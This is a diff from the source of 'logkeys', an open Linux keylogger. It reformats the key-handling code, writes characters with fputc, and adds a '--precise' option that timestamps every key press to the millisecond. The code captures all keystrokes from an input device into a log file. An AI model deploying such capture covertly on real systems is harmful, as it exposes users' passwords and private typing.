|
|
||||||
}
|
if (inc_size > 0)
|
||||||
if (inc_size > 0) file_size += inc_size;
|
file_size += inc_size;
|
||||||
continue; // but don't log "<Enter>"
|
//continue; // but don't log "<Enter>"
|
||||||
|
} else if (args.precise) {
|
||||||
|
inc_size += printTimeStamp(out);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (scan_code == KEY_CAPSLOCK)
|
if (scan_code == KEY_CAPSLOCK)
|
||||||
|
@ -623,21 +665,23 @@ int main(int argc, char **argv)
|
||||||
wch = shift_keys[to_char_keys_index(scan_code)];
|
wch = shift_keys[to_char_keys_index(scan_code)];
|
||||||
if (wch == L'\0')
|
if (wch == L'\0')
|
||||||
wch = char_keys[to_char_keys_index(scan_code)];
|
wch = char_keys[to_char_keys_index(scan_code)];
|
||||||
}
|
} else
|
||||||
else // neither altgr nor shift are effective, this is a normal char
|
// neither altgr nor shift are effective, this is a normal char
|
||||||
wch = char_keys[to_char_keys_index(scan_code)];
|
wch = char_keys[to_char_keys_index(scan_code)];
|
||||||
|
|
||||||
if (wch != L'\0') inc_size += fprintf(out, "%lc", wch); // write character to log file
|
if (wch != L'\0')
|
||||||
}
|
//inc_size += fprintf(out, "%lc", wch); // write character to log file
|
||||||
else if (is_func_key(scan_code)) {
|
inc_size += fputc(wch, out);
|
||||||
|
} else if (is_func_key(scan_code)) {
|
||||||
if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
|
if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested
|
||||||
inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]);
|
inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]);
|
||||||
}
|
} else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
|
||||||
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
|
|
||||||
inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys
|
inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys
|
||||||
}
|
}
|
||||||
}
|
} else
|
||||||
else inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
|
inc_size += fprintf(out, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
|
||||||
|
|
||||||
|
fflush(out);
|
||||||
} // if (EV_MAKE)
|
} // if (EV_MAKE)
|
||||||
|
|
||||||
// on key release
|
// on key release
|
||||||
|
@ -652,14 +696,15 @@ int main(int argc, char **argv)
|
||||||
|
|
||||||
prev_code = scan_code;
|
prev_code = scan_code;
|
||||||
fflush(out);
|
fflush(out);
|
||||||
if (inc_size > 0) file_size += inc_size;
|
if (inc_size > 0)
|
||||||
|
file_size += inc_size;
|
||||||
|
|
||||||
} // while (read(input_fd))
|
} // while (read(input_fd))
|
||||||
|
|
||||||
// append final timestamp, close files and exit
|
// append final timestamp, close files and exit
|
||||||
time(&cur_time);
|
//time(&cur_time);
|
||||||
strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
|
//strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time));
|
||||||
fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp);
|
fputs(("\n\nLogging stopped at " + createStamp() + "\n\n").c_str(), out);
|
||||||
|
|
||||||
fclose(out);
|
fclose(out);
|
||||||
|
|
||||||
|
|
|
@ -23,6 +23,7 @@ void usage()
|
||||||
" -u, --us-keymap use en_US keymap instead of configured default\n"
|
" -u, --us-keymap use en_US keymap instead of configured default\n"
|
||||||
" -k, --kill kill running logkeys process\n"
|
" -k, --kill kill running logkeys process\n"
|
||||||
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
|
" -d, --device=FILE input event device [eventX from " INPUT_EVENT_PATH "]\n"
|
||||||
|
" -p, --precise add milliseconds to the timestamp and add a timestamp to every press\n"
|
||||||
" -?, --help print this help screen\n"
|
" -?, --help print this help screen\n"
|
||||||
" --export-keymap=FILE export configured keymap to FILE and exit\n"
|
" --export-keymap=FILE export configured keymap to FILE and exit\n"
|
||||||
" --no-func-keys log only character keys\n"
|
" --no-func-keys log only character keys\n"
|
||||||
|
|
Loading…
Reference in New Issue
Block a user